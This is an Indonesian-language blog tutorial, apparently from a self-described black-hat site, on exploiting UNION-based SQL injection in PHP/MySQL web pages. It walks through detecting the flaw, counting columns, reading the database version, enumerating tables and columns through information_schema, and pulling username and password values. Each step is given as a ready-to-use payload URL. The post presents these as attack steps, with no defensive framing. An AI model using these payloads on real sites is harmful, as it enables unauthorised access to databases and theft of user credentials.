Tutorial SQL 2009

Note : Magic_Quote_GPC pada php.ini harus dalam posisi mode "OFF"!!!
1. Cek Vulnerability.
Untuk mengecek apakah suatu site memiliki bug kita dapat menggunakan cara-cara berikut :
a. Letakkan karakter Single Quote pada akhri url address bar.
ie : http://www.target.com/index.php?pageID=1' <== karakter diletakkan di belakang url address bar.
b. Gunakan Operator Logika.
Anda bisa gunakan operator and,or,dll.
Ex 1 : and 1=1
ie : http://www.target.com/index.php?pageID=1 and 1=1 <== Return True, artinya jika kita meletakkan operator logika tersebut maka tidak terjadi error alias page berjalan dengan normal.
Ex 2 : and 1=2
ie : http://www.target.com/index.php?pageID=1 and 1=2 <== Return False, artinya jika kita meletakkan operator logika tersebut maka terjadi error alias page tidak berjalan dengan normal.
Note : Untuk menggunakan operator logika tergantung dengan kebutuhan yang diperlukan. Selain itu kekreatifitasan kita dituntut disini. Kenapa? karena kadang ketika kita meletakkan operator logika, situs tidak memberi respon apa-apa. Untuk itu, kekreatifitasan anda di perlukan disini. Bagaimana anda membangkitkan error. Hehehehehehe Smile
2. Cek Kolom.
Setelah kita mengetahui bahwa suatu site memiliki bug sql injection, maka tahap selanjutnya adalah mengecek kolom yang ada. Untuk mengecek kolom, kita dapat gunakan statement "ORDER By x", dimana x adalah nilai increment dari integer 1,2,...dst. Increment maksudnya adalah lakukan penambahan nilai x sampai ditemukan pesan error seperti "... Unknown Colomn 'x' ...".
ie :
- http://www.target.com/index.php?pageID=1+order+by+1/* <== Return True.
- http://www.target.com/index.php?pageID=1+order+by+2/* <== Return True.
- http://www.target.com/index.php?pageID=1+order+by+3/* <== Return True.
- http://www.target.com/index.php?pageID=1+order+by+4/* <== Return False.
Note : Kita asumsikan bahwa ketika kita memasukkan nilai 4, maka muncul pesan error "Unknown Colomn '4'", maka kita dapat menarik suatu kesimpulan bahwa kolom yang ada hanya 1,2, dan 3.
Untuk mengecek di kolom berapa terdapat hole atau kolom yang bermasalah kita bisa gunakan stament "UNION ALL SELECT " atau "UNION SELECT " ,dll.
Note : Ingat!!!jangan lupa menggunakan karakter "-", seperti dibawah ini :
ie :
- http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,2,3/*
Note : Kita asumsikan kolom yang bermasalah terdapat pada angka '2'. Bagaimana cara kita mengetahuinya ? kita bisa lihat pada page, karena kolom yang bermasalah tersebut nantinya akan ditampilkan pada page. Lagi-lagi kejelian mata dan kekreatifitasan kita di butuhkan disini!!!
4. Cek Versi MYSQL.
Mengapa perlu mengecek versi dari MySQL? karena teknik sql injection untuk v 4.xx atau < v 5.xx tidak sama. Pada paper ini saya menggunakan v 5.xx.
Untuk mengecek versi mysql kita bisa gunakan statement "@@version,version(),dll" tergantung kebutuhan system.
Note : Jika page tidak meload versi mysql? Gunakan kreatifitas anda. Lakukan manipulasi-manipulasi pada url address, seperti :
convert(@@version using latin1), unhex(hex(@@version)) , dll.
ie : http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,@@version,3/*
ie :
http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,convert(@@version+using+latin1),3/*
ie :
http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,unhex(hex(@@version)),3/*
Note : Kita Asumsikan versi dari mysql adalah 5.x.x
Next >>
5. Cek Tabel dan Kolom.
a. Cek Tabel.
Untuk mengecek tabel gunakan statement berikut :
" information_schema.tables + table_name "
ie : http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,table_name,3+from+information_schema.tables/*
Note :
- Jika page tidak meload informasi tabel, gunakan convert() atau unhex(hex()) atau lainnya.
- Gunakan statement Limit untuk mengekstrak tabel yang ada.
ie :
http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,table_name,3+from+information_schema.tables+limit+1,1/* <=== Lakukan increment pada angka 1,1 sampai kita temukan informasi tabel yang berguna, seperti user,username,admin,administrator,dll
b. Cek Kolom
Cara pengecekan kolom hampir sama dengan pengecekan tabel, hanya saja pada pengecekan kolom kita gunakan statement berikut :
" information_schema.columns ... column_name ... "
ie : http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,column_name,3+from+information_schema.columns/*
Note : Gunakan Statment Limit untuk mengekstrak kolom-kolom yang ada.
Tips : Untuk mengekstrak kolom pada tabel tertentu kita bisa gunakan statement berikut :
ie:
http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,column_name,3+from+information_schema.columns+where+table_name='user'/* <=== kita asumsikan kita telah mengetahui bahwa terdapat tabel user.
Note : Seperti biasa untuk mengekstrak kolom-kolom tersebut kita gunakan statement LIMIT.
6. Get Value of Colomn.
Setelah kita ketahui nama-nama kolom yang ada pada table, maka langkah selanjutnya adalah mengekstrak nilai-nilai tersebut. Untuk mengekstrak nilai tersebut kita bisa melakukannya secara satu persatu dan atau secara keseluruhan atau bersamaan.
Note : Asumsikan bahwa kita mengetahui bahwa table user memiliki kolom 'username' dan 'password'.
a. Secara satu per satu.
ie : http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,username,3+from+user/*
ie :
http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,password,3+from+user/*
b. Secara keseluruhan atau bersamaan.
Gunakan statement concat() atau concat_ws()
ie :
http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,concat(username,0x3a,password),3+from+user/* <=== 0x3a adalah hexa dari karakter ' : '

0 comments:

Posting Komentar

R3B3L - Design by : R3B3L @ 2010 - 2011 All Rights Reserved [+] We Are Black Hat [+]